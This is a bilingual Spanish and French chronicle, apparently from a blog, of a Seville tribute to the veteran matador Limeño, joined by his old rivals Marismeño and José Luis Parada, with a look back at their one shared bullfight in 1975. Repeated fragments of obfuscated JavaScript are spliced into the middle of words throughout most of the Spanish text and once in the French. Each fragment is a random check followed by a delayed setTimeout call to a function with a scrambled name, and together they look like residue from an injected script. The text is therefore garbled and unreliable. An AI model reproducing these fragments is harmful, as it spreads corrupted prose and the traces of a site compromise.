TRES VIEJOS MAESTROSTROIS VIEUX MAESTROS

Allí estaban los tres. Plateadas sus cabezas por la nieve de los calendarios. Dignos. Graves. Toreros. Con esa torería interior que imprime en la apostura, en el gesto, en el donaire, el tiempo intensa y largamente conquistado al peligro y a los toros. Allí estaban los tres. Con el poso de la experiencia tatuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sus rostros y miradas, agudas, vivaces, a pesar de los años. Más pálida la tez de Limeño; más grabadas de sol y campo las de Marismeño –que lleva el color de la marisma fundido en su epidermis– y José Luis Parada, cetrino, aceitunado, con un toque de luna diluida sobre el cromatismo de su morenez.

Allí estaban los tres, como en una difícil e insólita conjunción planetaria, compartiendo un “ruedo” muy particular: el patio central de la sede del Círculo de Labradores, de Sevilla. Limeño, para recibir un cálido y sentido homenaje; Marismeño y Parada para arropar y acompañar en el agasajo al antiguo rival y ahora amigo y compañero de nostalgias y rememoraciones.

Todo fue muy emotivo en esta soleada mañana de domingo hispalense. Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Limeño expresó su público agradecimiento por la presencia de sus dos colegas, se le quebró la voz ante el esfuerzo de contener la emoción que sentía. Fue un agradecimiento salido de las mismas entrañas, lleno de autenticidad y divorciado de cualquier protocolo. Verlos a ambos allí, desplazado uno desde la sierra, otro desde la desembocadura del Guadalquivir, tuvo que ser para el veterano maestro una especie de bálsamo vivificante que viniera a paliar los muchos roces, piques, desencuentros, celos profesionales e incomprensiones mutuas, que habían jalonado sus respectivas historias de alamares; máxime cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, por paisanaje, se habían visto obligados a compartir tiempo y espacio con los antagonismos enconados de sus respectivas bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderías locales y el aguijón de la pugna por sobresalir –¡bendita competencia!– que les azuzaba cada vez que se ponían delante del toro.

A mí me conmovió verlos de nuevo juntos, fundidos en abrazos y palabras de reconocimiento. Porque, como ya he señalado, nunca fue fácil reunir a los tres matadores. Ni siquiera en los ruedos, pues solamente una vez en todas sus carreras coincidieron vestidos de luces en el portón de un patio de cuadrillas. Tuvo que ser –¿dónde si no?– en Sanlúcar de Barrameda, su tierra natal, un domingo de exaltación al río Guadalquivir –24 de agosto de 1975–, que se convirtió en frenesí de rivalidad local. Me imagino a los tres con cuarenta años menos, liados en sus capotes de paseo y sintiendo en la boca del estómago el pellizco de salir a por todas, mientras una voz interior exclamaba pensandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en los adversarios: “Veréis la que os voy a dar!”.

Fue una tarde triunfal en la que cada torero dio argumentos a sus partidarios para seguir manteniendo firme sus convicciones. Limeño, sobreponiéndose al volteretón que le propinó el viento, más que su primer toro, para terminar la tarde llevándose en su esportón un botín de tres orejas; Marismeño, haciendo crujir los oles con un capote lleno de cascabeles y una temeridad impropia en él, pero fruto de una raza de torero que no admite perder la pelea, aunque ello le llevase a arrollar la razón cambiandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando una oreja por una espeluznante cogida que pudo tener consecuencias dramáticas, y Parada –el menos favorecido en el sorteo de los magníficos toros de Manuel Álvarez–, dejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el aroma de su clase en un ramillete de naturales, dandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el pecho en el cite, de escalofriante ajuste.

Fue una tarde triunfal, donde tras el arrastre del cuarto astado, la plaza en pie vitoreó la vuelta al ruedo de “sus” tres toreros junto al ganadero de Los Barrios. Tarde de “guerra”, donde ganó el toreo, de igual modo que en esta mañana soleada de domingo, ganó la amistad y la categoría humana de tres hombres –tres viejos maestros– fundidos en la emoción de un homenaje.

Ante los tres, yo me quito el sombrero.

Ils étaient là tous les trois. Leurs cheveux argentés par la neige des calendriers. Dignes. Graves. Toreros. Avec cette toreria intérieure qu’impriment dans l’élégance, le geste et l’attitude, le temps intense et largement conquis devant le danger et les toros. Ils étaient là tous les trois. Avec cette maturité de l’expérience sur leurs visages et regards, aigus, vivaces, malgré les années. Plus pâle la peau de Limeño ; plus marquée par le soleil et le campo celle de Marismeño –qui a la couleur des marais fondue à son épiderme- et José Luis Parada, citrin, olivâtre, avec une touche de lune diluée dans le chromatisme de son bronzage.

Ils étaient là tous les trois, dans une difficile et insolite conjonction planétaire, partageant une arène très particulière : le patio central du siège du Círculo de Labradores, de Séville. Limeño pour recevoir un chaleureux et poignant hommage ; Marismeño et Parada pour épauler  et accompagner lors de cette réception leur ancien rival et aujourd’hui ami et compagnon dans la nostalgie et les commémorations.

Tout cela était très émouvant dans cette matinée ensoleillée de dimanche à Séville. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Limeño prit la parole pour remercier en public la présence de ses deux collègues, sa voix se brisa devant l’effort pour contenir l’émotion qu’il ressentait. Ce fut un remerciement sorti du plus profond de lui-même, plein d’authenticité et éloigné de tout protocole. Les voir tous les deux, l’un venu de la sierra, l’autre de l’embouchure du fleuve Guadalquivir, fut probablement pour le vétéran maestro une espèce de baume vivifiant qui venait palier les nombreuses frictions, embrouilles, disputes, jalousies professionnelles et incompréhensions mutuelles qui avaient jalonné leurs respectives histoires vêtus de lumières ; surtout que provenant de la même région, ils avaient été obligés de partager le temps et l’espace avec des antagonismes exacerbés par leurs partisans locaux et stimulus de la pugnacité pour se détacher –bénie concurrence !-qui les excitait chaque fois qu’ils se mettaient devant un toro.

J’ai été ému de les voir à nouveau réunis, se serrant dans les bras et les paroles de remerciement. Car, comme je l’ai signalé, il n’avait jamais été facile de réunir ces trois matadors. Même dans les arènes, car seulement une seule fois ils coïncidèrent vêtus de lumières dans un patio de cuadrillas. Ce fut –où sinon ?- à Sanlúcar de Barrameda, sa ville natale, un dimanche d’exaltation au fleuve Guadalquivir -24 août 1975- qui se transforma en une frénétique rivalité locale. Je les imagine tous les trois avec quarante ans de moins, dans leurs capes de paseo et ressentant dans leur estomac ce pincement qui les poussait à se livrer à fond, alors qu’une voix intérieure s’exclamait en pensant aux adversaires : « vous allez voir ce que vous allez voir ».

Ce fut un après-midi triomphal où chaque torero donna suffisamment d’arguments à ses partisans pour qu’ils maintiennent fermement leurs convictions. Limeño, en défiant le vent encore plus que son adversaire pour conclure l’après-midi en emportant le butin de trois oreilles. Marismeño, en croulant sous les olés avec une cape avec une traînée de serpents et avec une témérité qui ne lui ressemblait pas, mais fruit de sa race de torero qui n’admettait pas qu’il perde le combat, même s’il devait au-delà de la raison en troquant une oreille contre un coup de corne spectaculaire qui aurait pu avoir des conséquences dramatiquesn, et Parada -le moins favorisé par le sorteo des magnifiques toros de Manuel Alvarez- qui laissa l’empreinte de sa classe dans un bouquet de naturelles, la poitrine en avant, d’une effrayante proximité.

Ce fut un après-midi triomphal où, après la mort du quatrième toro, les arènes debout acclamèrent le tour de piste des trois toreros en compagnie de l’éleveur de Los Barrios. Un après-midi de « guerre », où triompha la tauromachie, de la même manière qu’en cette journée ensoleillée de dimanche, ce furent l’amitié et l’humanité de ces trois hommes –trois vieux maestros- fusionnés dans l’émotion d’un hommage.

Devant tous les trois, j’ôte mon chapeau.

Les commentaires sont fermés.